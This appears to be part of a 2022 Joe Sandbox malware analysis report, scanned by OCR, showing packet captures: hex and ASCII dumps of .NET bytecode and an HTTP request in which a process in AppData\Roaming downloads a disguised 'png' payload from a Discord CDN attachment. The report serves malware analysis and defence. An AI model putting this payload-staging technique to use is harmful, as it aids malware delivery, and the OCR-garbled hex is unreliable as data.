Data Raw: 38 03 13 0a 00 02 50 6f 02 11 ff ff fe 57 38 51 06 00 18 4f 28 04 00 Oa 58 7e 16 16 06 00 18 37 28 04 00 Oa 52
7e 16 06 00 13 87 28 04 00 09 26 7e 61 04 00 08 10 7b 04 00 08 2c 7e 61 bd 21 14 e6 20 ee 42 84 60 20 01 11 04 Qe ff ff
fc dd 38 51 06 00 18 3b 28 04 00 Oa 53 7e 14 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 e7 7b 04 00 08 2c 7e 61 ad fa
e7 ea 20 d4 c8 c5 bc 20 01 11 05 ff ff fc f6 38 51 06 00 18 4f 28 04 00 0a 58 7e 16 16 06 00 18 37 28 04 00 0a 52 7e 16
06 00 13 87 28 04 00 09 26 7e 61 04 00 08 2e 7b 04 00 08 2c 7e 61 b1 d4 91 9d 20 58 18 b1 e5 74 20 c1 d1 30 53 20 01
11 04 Oe ff ff fe 56 38 02 13 06 00 18 9b 28 04 00 Oa 6b 7e 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 €8 7b 04 00 08 2c
7e 61 df 86 06 ba 20 fe 09 Oc a4 20 07 11 ff ff fd 73 38 ff

Data Ascii: 8PoW8QO(X~7(R~(&~af{,~a! B’ 8Q;(S~(&~a{,~a 8QO(X~7(R~(&~a{,~a Xt 0S V8(k~(&~a{,~a s8
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kBytes

Timestamp transferred Direction
2022-05-02 11:02:01 UTC 1071 IN
2022-05-02 11:02:01 UTC 1087 IN
2022-05-02 11:02:01 UTC 1103 IN
2022-05-02 11:02:01 UTC 1119 IN
2022-05-02 11:02:01 UTC 1135 IN
2022-05-02 11:02:01 UTC 1151 IN
2022-05-02 11:02:01 UTC 1167 IN
2022-05-02 11:02:01 UTC 1183 IN
2022-05-02 11:02:01 UTC 1199 IN
2022-05-02 11:02:01 UTC 1215 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 00 08 2c 7e 00 00 00 00 20 02 13 06 00 16 9b 28 04 00 09 eb 7e 03 00 ff ff f df 38 ff ff ff b3 3a 04 00 05 cf 7b
02 ff ff ff dc 38 06 00 16 8f 28 04 00 09 €8 7e 04 03 00 00 02 7b 38 06 00 17 e3 28 04 00 Oa 3d 7e 16 00 11 03 00 00 00
34380113 06 00 16 73 28 04 00 09 el 7e 04 06 00 17 d3 28 04 00 Oa 39 7e 02 03 2a 2a 00 00 02 e0 38 4c 2b 3e d1 28
05 2b 11 00 00 fb 00 00 02 fe 00 05 30 1b 00 00 00 ff ff ff 23 38 00 00 00 00 20 26 ff ff ff 2e 3a 04 00 07 ed 7b 04 00 08 2¢
7e 00 00 00 00 20 01 13 16 2a 2a ff ff ff 80 38 01 13 58 17 01 11 2a ff ff ff bc 38 00 00 00 06 39 Oa 00 02 4f 28 03 04 00
05 d2 7b 02 00 01 33 8f 01 11 04 00 05 cf 7b 02 00 00 00 22 38 06 00 13 9b 28 04 00 09 2b 7e 04 04 00 05 d3 7b 02 00
01 33 8f01 11 04 00 05 cf 7b 02 00 00 00 51 38

Data Ascii: ,~ (~8:{8(~{8(=~48s(~(9~**8L+>(+0#8 &.:{,~ **8X*890({3{"8(+~{3{Q8

Data Raw: 28 05 2b 00 00 00 00 00 00 00 fc 00 04 30 13 00 00 2a 04 00 05 aa 7e 68 6¢ ba 26 28 05 2b 36 00 00 00 2a 01
fe 14 04 00 05 aa 7e 5d 47 35 d2 28 05 2b 42 00 2a 06 00 Of d3 28 04 00 08 39 7e 56 6d 72 29 28 05 2b 4a 00 00 2a Oa
00 02 3a 28 04 Oe 05 04 03 02 26 00 00 00 Oc 3a 25 06 00 16 4b 28 04 00 09 d7 7e 03 04 00 05 a9 7b 02 7a Oa 00 01 2b
73 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 e8 7b 04 00 08 2¢ 7e 61 1f db 54 1d 20 61 4a 80 ca ed 20 74 d4 a2 38 20 0
000 00 2c 3a 04 00 05 a9 7b 02 41 01 33 4f 28 05 2b 00 00 00 00 00 00 00 62 00 06 30 03 ff ff ff cO 38 04 00 05 a9 7d 7a
0a 00 01 8¢ 73 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 e5 7b 04 00 08 2¢ 7e 61 d8 85 1f 1c 20 63 00 00 00 04 20 a8 6
d bc 35 20 26 00 00 00 2d 3a 25 03 02 2a 00 00 00 01 38 39 18 Da

Data Ascii: (+0*~hl&(+6*~]G5(+B*(9~Vmr)(+J*:(& %K (~{z+s(&~a{,~aT aJ t8 ,:{A30(+b08}zs(&~a{,~a c m5 &:%*89

Data Raw: 38 ff ff ff b6 3a 02 00 00 00 17 38 02 13 0a 00 00 6¢ 73 7a 0a 00 01 2b 73 06 00 13 87 28 04 00 09 26 7e 61
04 00 08 0a 7b 04 00 08 2c 7e 61 d4 70 5e df 20 cb 04 e0 6¢ 20 ff ff ff b6 38 00 13 06 00 15 83 28 04 00 09 a5 7e 02 7a
0a 00 01 8¢ 73 06 00 13 87 28 04 00 09 26 7e 61 04 00 08 17 7b 04 00 08 2c 7e 61 al bc 88 22 20 cb 04 e0 6¢ 20 00 00
00 7538 01 13 06 00 15 87 28 04 00 09 a6 7e 02 00 00 00 7c 38 56 78 cO fd 28 05 2b 11 00 00 d5 00 00 01 01 00 06 30
1b 00 2a 7a 06 00 05 ce 73 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 e5 7b 04 00 08 2c 7e 61 6 5¢ f6 92 20 65 2b a0 d
5 01 20 ff ff ff e0 38 ff f ff d5 39 04 00 05 78 7b 02 ff f ff b9 38 00 00 00 3¢ 39 04 00 05 76 7b 02 00 00 00 20 38 00 00 00
4c 39 04 00 05 73 7b 02 7a 06 00 05 ce 73 06 00 13 87 28

Data Ascii: 8:8lsz+s(&~af{,~ap” | 8(~zs(&~a{,~a" | u8(~|8Vx(+0*zs(&~a{,~a\ e+ 89x{8<9v{ 8L9s{zs(

Data Raw: f3 38 04 00 05 55 7d 03 02 2a 00 00 00 01 38 69 6¢ d9 77 28 05 2b 66 00 2a 04 00 05 55 7b 02 50 7f 94 4b 28
05 2b 3a 2a 06 00 14 b3 28 04 00 09 71 7e 14 14 06 00 14 af 28 04 00 09 70 7e 02 36 04 63 87 28 05 2b 7e 00 2a 04 00
05 54 7b 02 61 0f 66 6f 28 05 2b 3a 00 2a 04 00 05 53 7b 02 34 20 b6 bc 28 05 2b 3a 00 ff ff ff 94 38 04 00 05 54 7d 04
02 ff ff ff 4a 38 ff ff ff 95 3d 16 03 00 00 00 Oc 38 04 00 05 53 7d 03 02 7a O0a 00 02 03 73 06 00 13 87 28 04 00 09 26 7e
61 04 00 08 2d 7b 04 00 08 2c 7e 61 b9 ba 1c 78 20 66 30 dd 6b 73 20 06 00 13 87 28 04 00 09 26 7e 61 04 00 08 24 7b
04 00 08 2c 7e 61 05 6¢ 49 69 20 00 18 53 Oe 20 2a 00 00 00 01 38 00 00 00 4d 39 Oa 00 00 8b 28 04 7a 0a 00 02 02 73
06 00 13 87 28 04 00 09 26 7e 61 04 00 07 d5 7b 04 00 08 2c 7e

Data Ascii: 8U¥*8ilw(+f*U{PK(+:*(q~(p~6c(+~*T{afo(+:*S{4 (+:8T}J8=8S}zs(&~a-{,~ax fOks (&~a${,~alli S *8M9(zs(&~a{,~

Data Raw: d3 28 04 00 08 39 7e 68 74 Of e2 28 05 2b 4a 00 2a 00 00 00 00 38 Oa 00 01 8a 28 02 00 00 00 00 38 06 00 Of
d7 28 04 00 08 3a 7e 5d 3b 23 7c 28 05 2b 8a 00 00 2a 04 00 04 a6 7e 2e 4a 78 71 28 05 2b 36 00 00 00 2a 01 fe 14 04
00 04 a6 7e 3c 29 c7 f7 28 05 2b 42 00 2a 06 00 Of d3 28 04 00 08 39 7e 2f Ob 2b 43 28 05 2b 4a 00 2a 00 00 00 00 38 Oa
00 01 8a 28 02 00 00 00 00 38 06 00 Of d7 28 04 00 08 3a 7e 46 26 05 83 28 05 2b 8a 00 00 2a 04 00 04 a5 7e 4a 4e c5
13 28 05 2b 36 00 00 00 2a 01 fe 14 04 00 04 a5 7e 4f 57 e1 6b 28 05 2b 42 00 2a 06 00 Of d3 28 04 00 08 39 7e 33 6¢ a
d 72 28 05 2b 4a 00 2a 00 00 00 00 38 0a 00 01 8a 28 02 00 00 00 00 38 06 00 Of d7 28 04 00 08 3a 7e 3f 7d db 6d 28 05
2b 8a 00 00 2a 04 00 04 a4 7e 30 2d cO 28 28 05 2b 36 00 00 00 2a

Data Ascii: (9~ht(+J*8(8(:~]:#]|(+*~.JXq(+6*~<) (+ B¥(9~/+C(+J*8(8(:~F&(+*~IN(+6*~OWK(+B*(9~3Ir(+J*8(8(:~2}m(+*~0-
((+6*

Data Raw: 12 0a 00 00 23 28 06 00 Oc bf 28 02 00 00 a7 20 06 00 10 Of 28 04 00 08 48 7e fd 36 77 9b 20 06 00 10 Of 28
04 00 08 48 7e fd 36 77 df 20 2a 02 11 00 00 00 00 38 02 13 01 11 00 00 00 Oc 38 00 13 01 00 00 16 8d 16 11 00 00 84
00 00 00 60 00 08 30 13 00 00 2a 02 11 ff ff ff 9 38 00 13 a2 03 17 25 a2 01 00 00 3d 8c 02 16 25 01 00 00 16 8d 18 ff ff
ffb0 38 01 13 01 00 00 22 a5 06 00 11 9b 28 04 00 08 ab 7e 17 16 00 12 06 00 04 2e 28 06 00 Oc bf 28 02 00 00 bf 20 06
00 10 Of 28 04 00 08 48 7e fd 36 77 b0 20 06 00 10 Of 28 04 00 08 48 7e fd 36 77 df 20 00 00 00 61 38 02 13 01 11 00 00
0050 38 11 00 00 88 00 00 00 72 00 08 30 13 00 00 ff ff ff f4 38 02 13 01 11 2a 02 11 ff ff ff a3 38 00 13 a2 01 00 00 22
8¢ 02 16 25 01 00 00 16 8d 17 00 00 00 19 38 01 13 01

Data Ascii: #(( (H~6w (H~6w *88°0*8%=%8"(~.(( (H~6w (H~6w a8P8r08*8"%8

Data Raw: Of ff ff ff 24 38 26 0a 00 01 56 28 0a 00 01 4b 28 58 6a 14 1f 58 6a 05 11 0a 00 01 10 28 00 0f 00 00 00 78 38
10 13 0a 00 01 54 28 0a 00 01 4b 28 58 6a 5a 59 06 11 0f 11 1a 58 6a 0a 11 0a 00 01 10 28 00 Of ff ff ff 39 38 Oc 13 01 fe
00 00 01 0b 20 08 11 ff ff fe 82 38 ff ff fe 22 38 00 00 00 €7 38 07 13 0a 00 01 54 28 0a 00 01 4b 28 58 6a 20 1f 58 6a 00
11 0a 00 01 10 28 00 Of 00 00 00 3a 38 0f 13 58 06 11 0a 00 01 56 28 0a 00 01 4b 28 58 6a 5a 18 02 11 58 6a Ob 11 0a
00 01 10 28 00 Of ff ff fe c9 38 26 26 0a 00 01 54 28 0a 00 01 4b 28 58 6a 07 11 0a 00 01 10 28 00 Of 0a 00 01 10 28 00
Of ff ff ff 71 38 03 13 58 6a 18 1f 58 6a 05 11 0a 00 01 10 28 00 Of ff ff fe 98 38 ff ff fe c9 38 00 00 01 8f 38 ff ff ff 19 3a 12
11 00 00 00 Oc 38 15 13 58 6a 60 1f 03

Data Ascii: $8&V/(K(XjXj(x8T(K(XZYXj(98 8"88T(K(Xj Xj(:8XV(K(XiZXi(8&&T(K(Xj((q8XjXi(888:8X]"

Data Raw: 25 a2 02 00 00 12 8c 02 00 00 12 71 04 18 25 a2 01 00 00 3d 8c 03 17 25 a2 01 00 00 22 8¢ 02 16 25 01 00
00 16 8d 1a 00 00 00 81 38 df 01 00 00 22 a5 9a 19 00 11 05 00 00 00 10 38 5a 09 56 c2 28 05 2b 11 00 00 56 00 00 00
a6 00 08 30 13 ff ff ff ab 38 26 06 00 11 9b 28 04 00 08 ab 7e 17 16 00 12 0a 00 00 23 28 06 00 Oc bf 28 02 00 00 74 20
06 00 10 Of 28 04 00 08 48 7e fd 36 79 99 20 06 00 10 Of 28 04 00 08 48 7e fd 36 76 fa 20 ff f ff eb 38 02 00 00 12 81 02
00 00 12 a5 9a 16 00 11 02 2a 00 00 00 15 38 00 13 a2 03 17 25 a2 02 00 00 12 8¢ 02 00 00 12 71 02 16 25 01 00 00 16
8d 18 37 2b 05 7c 28 05 2b 11 00 00 55 00 00 00 7c 00 08 30 13 00 2a 00 00 00 00 38 0a 00 00 11 28 02 00 00 00 00 38
06 00 Of d7 28 04 00 08 3a 7e 67 67 57 a7 28 05 2b 8a 00 2a 0a 00

Data Ascii: %%=9"%8"8ZV (+VO8&(~#((t (H~6y (H~Bv 8*8%q%7-+|(+U|0*8(8(:~ggW(+*

Data Raw: 00 2a 04 00 03 24 7e 32 7a e4 3a 28 05 2b 36 00 00 00 2a 01 fe 14 04 00 03 24 7e 68 57 bf fb 28 05 2b 42 00
2a 06 00 Of d3 28 04 00 08 39 7e 54 11 04 3e 28 05 2b 4a 00 2a 00 00 00 00 38 0a 00 00 11 28 02 00 00 00 00 38 06 00
Of d7 28 04 00 08 3a 7e 50 6b 10 28 28 05 2b 8a 00 00 2a 04 00 03 1f 7e 6 08 35 8e 28 05 2b 36 00 00 00 2a 01 fe 14
04 00 03 1f 7e 50 64 cf 5a 28 05 2b 42 00 00 f ff fe c1 38 04 00 03 1c 80 00 02 00 00 20 ff ff ff 08 38 04 00 03 10 80 00 00
20 00 20 ff ff fe c9 38 00 00 00 00 20 26 ff ff fe d4 3a 04 00 07 fa 7b 04 00 08 2¢ 7e 00 00 00 00 20 06 00 Of d3 28 04 00
08 39 7e 00 00 00 29 38 04 00 03 Of 80 00 00 10 00 20 ff ff ff 7c 38 04 00 03 19 80 00 00 40 00 20 00 00 00 56 38 04 00
03 1b 80 00 00 10 00 00 00 00 00 21 ff ff ff €2 38 04

Data Ascii: *$~27:(+6*$~hW(+B*(9~T>(+J*8(8(:~Pk((+*~n5(+6*~PdZ(+B8 8 8 &1{,~ (9~)8 8@ V8!8

Data Raw: 2b 70 01 28 05 2b 46 00 00 2a 0a 00 00 57 6f 00 00 09 fe 45 5c 82 {7 28 05 2b 46 00 2a 06 00 Of d3 28 04 00
08 39 7e 47 7f 4f 3f 28 05 2b 4a 01 00 00 16 00 00 00 Ob 00 00 01 28 00 00 01 15 00 00 00 13 00 00 00 00 00 00 00 00
00 00 00 27 00 00 00 7 00 00 00 cd 00 00 00 2a 00 00 00 02 01 00 00 16 00 00 00 Ob 00 00 01 8¢ 00 00 00 50 00 00 01
3¢ 00 00 00 00 00 00 4c 41 ff ff ff 94 38 00 13 16 f ff fe 70 38 ff ff fe 75 dd 00 00 00 00 38 26 ff ff fe 80 dd 00 00 00 00 38
f ff ff b6 dd ff ff f c7 38 05 13 04 11 00 00 00 09 38 00 13 17 00 00 00 08 38 26 06 00 10 33 28 04 00 08 51 7e 04 12 06
00 00 41 28 0a 00 00 4e 28 00 00 00 Lc 38 00 00 00 3¢ 39 05 11 00 00 00 Oc 38 04 13 16 00 2a 00 11 00 00 00 64 38 00
00 00 69 dd 00 00 00 00 38 26 00 00 00 74 dd 00 00 00

Data Ascii: +p(+F*WoE\(+F*(9~GO?(+J(*P<LABp8uB&8888&3(Q~A(N(8<98*d8i8&t
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Session ID Source IP
1 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-05-02 11:03:03 UTC 1222

2022-05-02 11:03:03 UTC 1223

2022-05-02 11:03:03 UTC 1224

2022-05-02 11:03:03 UTC 1224

2022-05-02 11:03:03 UTC 1225

2022-05-02 11:03:03 UTC 1227

2022-05-02 11:03:03 UTC 1228

Copyright Joe Security LLC 2022

Source Port

49774

Direction

ouT

Destination

Destination IP Process

Port
162.159.130.233 443 C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe
Data

GET /attachments/968108194327052308/970585558680223784/Nqdkg_Chadgewx.png HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Mon, 02 May 2022 11:03:03 GMT

Content-Type: image/png

Content-Length: 1250816

Connection: close

CF-Ray: 705044a74d36918c-FRA

Accept-Ranges: bytes

Age: 9885

Cache-Control: public, max-age=31536000

ETag: "8b4e3118a9ad10f525d58287a5b3d59e"

Expires: Tue, 02 May 2023 11:03:03 GMT

Last-Modified: Mon, 02 May 2022 07:20:29 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1651476029852442

x-goog-hash: crc32c=hwhX1A==

x-goog-hash: md5=i04xGKmtEPUI1YKHpbPVng==

X-goog-metageneration: 1

x-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

X-goog-stored-content-length: 1250816

X-GUploader-UploadID: ADPycdviLx3JracfYsvVBAgmX4a-C82nshbcn_2UpORFgabos6mHUOzxh5QL4HNIUSOso
t6bjxrgVH3mfckuvec55iPKW0O0zK8RZR

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:V\V/a.nel.cloudflare.comVireport\/v3?s=7COyKoQPUKXKL6QK3nN2K%2BZOWULMmh
allsZU3MuyghiXf%2BP%2F808sLTAkOc62uTZ0JdxFiZMJI1671Qpl%2B4luAhwkGkizZEAd9xNb%2BOxp804Bjcd1zk
HEOjFAVI8BJIwndy30sEDPA%3D%3D"}],"group™:"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

Data Raw: 00 00 00 00 00 00 00 00 00 00 00
Data Ascii:

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Data Raw: 00 00 00 3f 1f dd 48 64 00 01 00 00 1f dd 48 64 00 01 00 00 00 01 00 00 fe ef 04 bd 00 00 00 00 00 4f 00 46
00 4e 00 49 00 5f 00 4e 00 4f 00 49 00 53 00 52 00 45 00 56 00 5f 00 53 00 56 00 00 00 34 03 42 00 00 00 00 00 00 00
00 00 00 03 42 00 13 40 58 00 00 00 48 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 30 00 00
00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 18 00 00 00 10 00 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: ?HdHdOFNI_NOISREV_SV4BB@XHO

Data Raw: 00 00 00 02 65 7a 69 53 2e 67 6e 69 77 61 72 44 2e 6d 65 74 73 79 53 13 00 00 00 01 05 61 33 61 30 35 64
31 3166 37 66 35 66 33 30 62 3d 6e 65 6b 6f 54 79 65 4b 63 69 6¢ 62 75 50 20 2c 6¢ 61 72 74 75 65 6€ 3d 65 72 75 74
6c 75 43 20 2c 30 2e 30 2e 30 2e 34 3d 6e 6f 69 73 72 65 56 20 2c 67 6e 69 77 61 72 44 2e 6d 65 74 73 79 53 51 00 00 O
002 Oc 00 00 00 00 00 00 00 01 ff ff f ff 00 00 00 01 00 43 Ob 00 00 00 01 08 00 00 00 01 00 00 00 2d Of 00 00 00 26 09
00 00 00 01 00 00 00 2c 11 74 74 20 6d 6d 3a 68 07 00 00 00 55 06 6d 6d 3a 48 04 00 00 00 54 06 74 74 20 6d 6d 3a 68
68 08 00 00 00 53 06 00 00 00 27 09 00 00 00 04 00 00 00 2b 11 00 00 00 23 09 00 00 00 01 00 00 00 2a 11 64 64 2d 4d
4d 2d 79 79 79 79 Oa 00 00 00 50 06 00 00 00 24 09 00 00 00 02 00 00

Data Ascii: eziS.gniwarD.metsySa3a05d11f7f5f30b=nekoTyeKcilbuP ,lartuen=erutluC ,0.0.0.4=noisreV ,gniwarD.mets
ySQC-&,tt mm:hUmm:HTtt mm:hhS'+#*dd-MM-yyyyP$

Data Raw: 64 61 65 52 73 69 5f 6d Oc 73 72 61 64 6e 65 6¢ 61 43 6¢ 61 6e 6f 69 74 70 6f 11 73 65 6d 61 4e 61 72 45 68
7369 6¢ 67 6e 45 76 65 72 62 62 61 5f 6d 17 73 65 6d 61 4e 61 72 45 76 65 72 62 62 61 5f 6d 10 73 65 6d 61 4e 61 72
65 5f 6d 0a 73 6e 72 65 74 74 61 50 65 6d 69 54 67 6e 6f 4c 6¢ 6¢ 61 13 73 6e 72 65 74 74 61 50 65 6d 69 54 74 72 6f 68
53 6¢ 6¢ 61 14 73 6e 72 65 74 74 61 50 65 74 61 44 67 6e 6f 4c 6¢ 6¢ 61 13 73 6e 72 65 74 74 61 50 65 74 61 44 74 72 6f
68 53 6¢ 6¢ 61 14 73 6e 72 65 74 74 61 50 68 74 6e 6f 4d 72 61 65 59 6¢ 6¢€ 61 14 6e 72 65 74 74 61 50 65 6d 69 54 74
72 6f 68 73 10 6e 72 65 74 74 61 50 65 6d 69 54 67 6e 6f 6¢ Of 6e 72 65 74 74 61 50 68 74 6e 6f 4d 72 61 65 79 10 6e 72
65 74 74 61 50 65 74 61 44 74 72 6f 68 73 10 6e 72 65 74 74 61

Data Ascii: daeRsi_msradnelaClanoitposemaNarEhsilgnEverbba_msemaNarEverbba_msemaNare_msnrettaPemiTgn
oLllasnrettaPemiTtrohSllasnrettaPetaDgnoLllasnrettaPetaDtrohSllasnrettaPhtnoMraeY llanrettaPemiTtrohsnrettaPemi
TgnolnrettaPhtnoMraeynrettaPetaDtrohsnretta
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kBytes

Timestamp transferred Direction
2022-05-02 11:03:03 UTC 1229 IN
2022-05-02 11:03:03 UTC 1231 IN
2022-05-02 11:03:03 UTC 1232 IN
2022-05-02 11:03:03 UTC 1233 IN
2022-05-02 11:03:03 UTC 1235 IN
2022-05-02 11:03:03 UTC 1236 IN
2022-05-02 11:03:03 UTC 1237 IN
2022-05-02 11:03:03 UTC 1239 IN
2022-05-02 11:03:03 UTC 1240 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 65 72 72 75 63 Oe 72 6f 74 61 72 61 70 65 53 6¢ 61 6d 69 63 65 44 79 63 6e 65 72 72 75 63 18 72 6f 74 61 72
6170 65 53 70 75 6f 72 47 79 63 6e 65 72 72 75 63 16 72 6f 74 61 72 61 70 65 53 70 75 6f 72 47 72 65 62 6d 75 6e 14
72 6f 74 61 72 61 70 65 53 6¢ 61 6d 69 63 65 44 72 65 62 6d 75 6€ 16 6€ 67 69 53 65 76 69 74 61 67 65 6€ OC 6€ 67 69
53 65 76 69 74 69 73 6f 70 Oc 73 65 7a 69 53 70 75 6f 72 47 74 6e 65 63 72 65 70 11 73 65 7a 69 53 70 75 6f 72 47 79 6
36e 657272756312 7365 7a69 53 70 75 6f 72 47 72 65 62 6d 75 6e 10 00 00 00 22 6f 66 6e 49 74 61 6d 72 6f 46 72
65 62 6d 75 4e 2e 6e 6f 69 74 61 7a 69 6¢ 61 62 6f 6¢ 47 2e 6d 65 74 73 79 53 25 00 00 00 04 04 00 00 00 7f 00 00 00
00 00 00 00 00 07 09 00 00 00 07 09 01 2c 01 00 00 00 08 06 08 01 08

Data Ascii: errucrotarapeSlamiceDycnerrucrotarapeSpuorGycnerrucrotarapeSpuorGrebmunrotarapeSlamiceDr
ebmunngiSevitagenngiSevitisopseziSpuorGtnecrepseziSpuorGycnerrucseziSpuorGrebmun"ofnltamroFrebmuN.no
itazilabolG.metsyS%,

Data Raw: 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 02 01 00 01 00 02 02 00
02 02 00 02 02 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 02 01 00 01 00 02 02 00 02 02 00 02 02 04 04
04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 02 01 00 01 00 00 00 00 00 00 00 00 00 04 04 04 04 04 04 04 04 04
04 04 04 04 04 04 04 04 04 04 02 01 00 01 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
02 02 02 02 01 00 01 02 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 01 00 01
02 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 01 02 01 00 01 02 03 03 03 03 03 03
03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 01 02 01 00 01

Data Ascii:

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Data Raw: 31 31 66 37 66 35 66 33 30 62 3d 6e 65 6b 6f 54 79 65 4b 63 69 6¢ 62 75 50 20 2c 6¢ 61 72 74 75 65 6e 3d 65
727574 6¢ 75 43 20 2¢ 30 2e 30 2e 30 2e 34 3d 6e 6f 69 73 72 65 56 20 2c 67 6e 69 77 61 72 44 2e 6d 65 74 73 79 53
20 2c 65 7a 69 53 2e 67 6e 69 77 61 72 44 2e 6d 65 74 73 79 53 66 39 38 30 65 34 33 39 31 36 35 63 35 61 37 37 62 3d
6e 65 6b 6f 54 79 65 4b 63 69 6¢ 62 75 50 20 2c 6¢ 61 72 74 75 65 6e 3d 65 72 75 74 6¢ 75 43 20 2¢ 30 2e 30 2e 30 2e 3
4 3d 6e 6f 69 73 72 65 56 20 2c 62 69 6¢ 72 6f 63 73 6d 20 2¢ 6f 66 6€ 49 65 72 75 74 6¢ 75 43 2¢e 6e 6f 69 74 61 7a 69 6
¢ 61 62 6f 6¢ 47 2e 6d 65 74 73 79 53 6d 39 38 30 65 34 33 39 31 36 35 63 35 61 37 37 62 3d 6e 65 6b 6f 54 79 65 4b 63
69 6¢ 62 75 50 20 2c 6¢ 61 72 74 75 65 6e 3d 65 72 75 74 6¢ 75 43

Data Ascii: 11f7f5f30b=nekoTyeKcilbuP ,lartuen=erutluC ,0.0.0.4=noisreV ,gniwarD.metsyS ,eziS.gniwarD.metsySf9
80e439165c5a77b=nekoTyeKcilbuP ,lartuen=erutluC ,0.0.0.4=noisreV ,bilrocsm ,ofnlerutluC.noitazilabolG.metsySm9
80e439165c5a77b=nekoTyeKcilbuP ,lartuen=erutluC

Data Raw: 73 e3 ca cc 98 b8 1a 00 c¢7 21 2e d6 23 Oc 07 7f 88 61 48 c6 44 71 ce 3b 18 Oe c3 41 bb 3d 9b 27 a9 92 5f ee
d7 28 01 20 5d db 83 41 bb 31 99 00 6a 8a 48 9b 88 b1 bc 77 5b 74 9d Ob 7a 37 15 4c d1 71 97 48 e0 7e 42 58 dc 85 68
12 9b 86 ee 38 8f 08 38 30 ¢7 b1 55 1d 14 a0 69 0f 09 a0 d2 13 71 dc ee d2 91 74 bc d9 f2 6a be 8e 96 59 33 ed 38 3c 76
5f a8 b8 Ob ca 5e 5f 1a e8 2c 6a 74 3f bf ac d6 bb 77 7d cb 66 47 7d 52 d4 37 7f 96 2c¢ 39 cb ff d4 19 65 07 16 5e 4a df 74
09 40 d9 fd 6¢ d4 b3 f3 76 79 c4 38 f6 0d af el 94 97 66 26 7b 99 5e 27 92 52 07 bc ef b9 2d 3d b6 1c 38 10 3a 55 7e b5
2d 97 93 d7 98 f1 42 b0 65 00 26 c7 f2 05 ba 96 b5 a0 fb 43 17 57 6e 7b 7b 93 97 44 60 8a cb 46 bb 39 9f 04 2f 14 {7 76
a5c7 78 3fca 4398 77 c8 ca Oe 17 c6 49 6b 44 71 2d 96

Data Ascii: s!.#aHDq;A="_( JAljHw[tz7LgH~BXh880UiqtjY38<v_"_,jt?w}G}R7,9e"t@Ivy8f&{"'R-=8:U~-Be&CWn{{D F9/vx
?CwlkDg-

